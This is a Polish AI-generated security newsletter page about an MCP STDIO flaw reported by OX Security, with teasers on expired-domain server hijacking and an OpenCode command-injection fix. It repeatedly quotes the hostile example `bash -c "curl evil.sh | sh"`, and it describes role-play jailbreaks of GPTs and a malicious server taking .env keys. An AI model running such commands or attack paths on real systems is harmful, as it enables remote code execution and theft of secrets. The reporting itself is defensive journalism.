SmartDigest.ai Tworzone przez AI, żeby nadążyć za AI
Zapisz się

Zapisz się do newslettera

Co tydzień najważniejsze newsy AI prosto na Twój e-mail. Wybierz tematy, które Cię interesują.

Bezpieczeństwo

Dwa tygodnie po raporcie OX Security, MCP wciąż dziurawy z premedytacją

Dwa tygodnie po raporcie OX Security dziura w MCP, pozwalająca wstawić `bash -c "curl evil.sh | sh"` w konfigurację STDIO, wciąż nie jest załatana — Anthropic nazwał to zachowaniem oczekiwanym. Klasyczne kontrole, EDR, DLP czy firewall, nie widzą ruchu między agentem a danymi, a badanie 14 904 GPT-ów pokazało, że 97% pada od odgrywania roli. Skoro agentowi nie można ufać, egzekucja polityki musi zejść do warstwy dostępu do danych. Z 11 katalogów MCP dziewięć przyjęło proof-of-concept OX bez weryfikacji.

Napisała AI, żeby oszczędzić Ci czytania setek źródeł.  ·  Jak to działa

Bezpieczeństwo  ·  4 min  · 

Dwa tygodnie po raporcie OX Security, MCP wciąż dziurawy z premedytacją
Ilustrację przygotowała AI.

Dwa tygodnie temu pisałem o tym, że OX Security wyciągnęło z MCP klasyczne RCE. Wystarczy wstawić bash -c "curl evil.sh | sh" w konfigurację serwera STDIO, a system uruchomi komendę, zanim zorientuje się, że po drugiej stronie nie ma żadnego protokołu. Anthropic odpowiedział, że to "zachowanie oczekiwane" i nie zamierza tego łatać. W praktyce: uruchamianie dowolnych komend z konfiguracji STDIO jest dla nich funkcją, nie błędem. Dwa tygodnie później protokołu nikt nie tknął. Pytanie na ten tydzień brzmi inaczej. Skoro fundament pozostaje dziurawy z premedytacją, gdzie ma usiąść kontrola?

Twoje narzędzia jej nie zobaczą

TechRepublic postawił to tak: klasyczne kontrole nie są w stanie tego ataku zobaczyć, bo nigdy nie były projektowane do widzenia ruchu między modelem a danymi. EDR widzi legalny, uwierzytelniony proces, czyli agenta AI działającego w imieniu uprawnionego użytkownika. DLP nie ma o co zaczepić, bo zapytanie do API mieści się w uprawnieniach agenta. Firewall widzi ruch, który dla każdej heurystyki wygląda jak człowiek przy klawiaturze.

Czytaj dalej za darmo

Podaj e-mail, aby odblokować pełną treść i cały serwis. Zapiszemy Cię do newslettera.

Powiązane

MCP STDIO uruchamia dowolną komendę, a Anthropic mówi, że tak ma być
Bezpieczeństwo

MCP STDIO uruchamia dowolną komendę, a Anthropic mówi, że tak ma być

4 min

Transport STDIO w MCP wykonuje dowolną komendę powłoki, zanim sprawdzi, czy po drugiej stronie jest serwer protokołu — wystarczy `bash -c "curl evil.sh | sh"` w konfiguracji. Ox Security naliczyło 200 tysięcy podatnych instalacji w paczkach pobranych ponad 150 milionów razy, dziesięć poważnych CVE i zero-click w Windsurfie (CVE-2026-30615). Anthropic 15 kwietnia 2026 nazwał to "zachowaniem oczekiwanym" i zrzucił sanityzację na klientów. Domyślna allowlista odcinająca `sh`, `curl` i `rm` zamknęłaby temat jednym commitem.

Wygasła domena za 4 dolary i zgoda na zawsze: co OX znalazło w 15 tysiącach serwerów MCP
Bezpieczeństwo

Wygasła domena za 4 dolary i zgoda na zawsze: co OX znalazło w 15 tysiącach serwerów MCP

4 min

OX Security przejrzała 15 465 serwerów MCP i najgroźniejsze okazały się nie adresy w Chinach czy Rosji, lecz wygasłe domeny, które każdy może kupić za 4 do 12 dolarów rocznie i przejąć zaufanie agentów wciąż mających je w konfiguracji. W teście Claude Code z Haiku 3.5 jedno "zawsze zezwalaj" wystarczyło, żeby złośliwy serwer dostał plik .env z kluczami, a Anthropic nazywa to zachowaniem zgodnym z dokumentacją. Obrona leży więc po stronie użytkownika: zamknięta lista serwerów, przypięte wersje i osobne potwierdzenie groźnych akcji.

OpenCode po cichu załatał dziurę, przez którą serwer MCP uruchamiał kod przy logowaniu
Bezpieczeństwo

OpenCode po cichu załatał dziurę, przez którą serwer MCP uruchamiał kod przy logowaniu

4 min

Anomaly załatała w OpenCode 1.18.33 błąd, przez który na Windowsie i w WSL zdalny serwer MCP mógł uruchomić dowolną komendę, gdy deweloper zaczynał logowanie przez OAuth, bo stara wersja paczki open wklejała podany przez serwer adres do polecenia PowerShella. Pillar Security oceniło dziurę na 9,8 w 10-punktowej skali, ale firma nie wystąpiła o CVE i uznała złośliwy serwer za coś spoza swojego modelu zagrożeń, przez co skanery zależności tej podatności nie wychwycą. Zagrożone są wersje od 1.0.137 do 1.18.32, więc jedyną obroną jest sprawdzenie wersji i aktualizacja.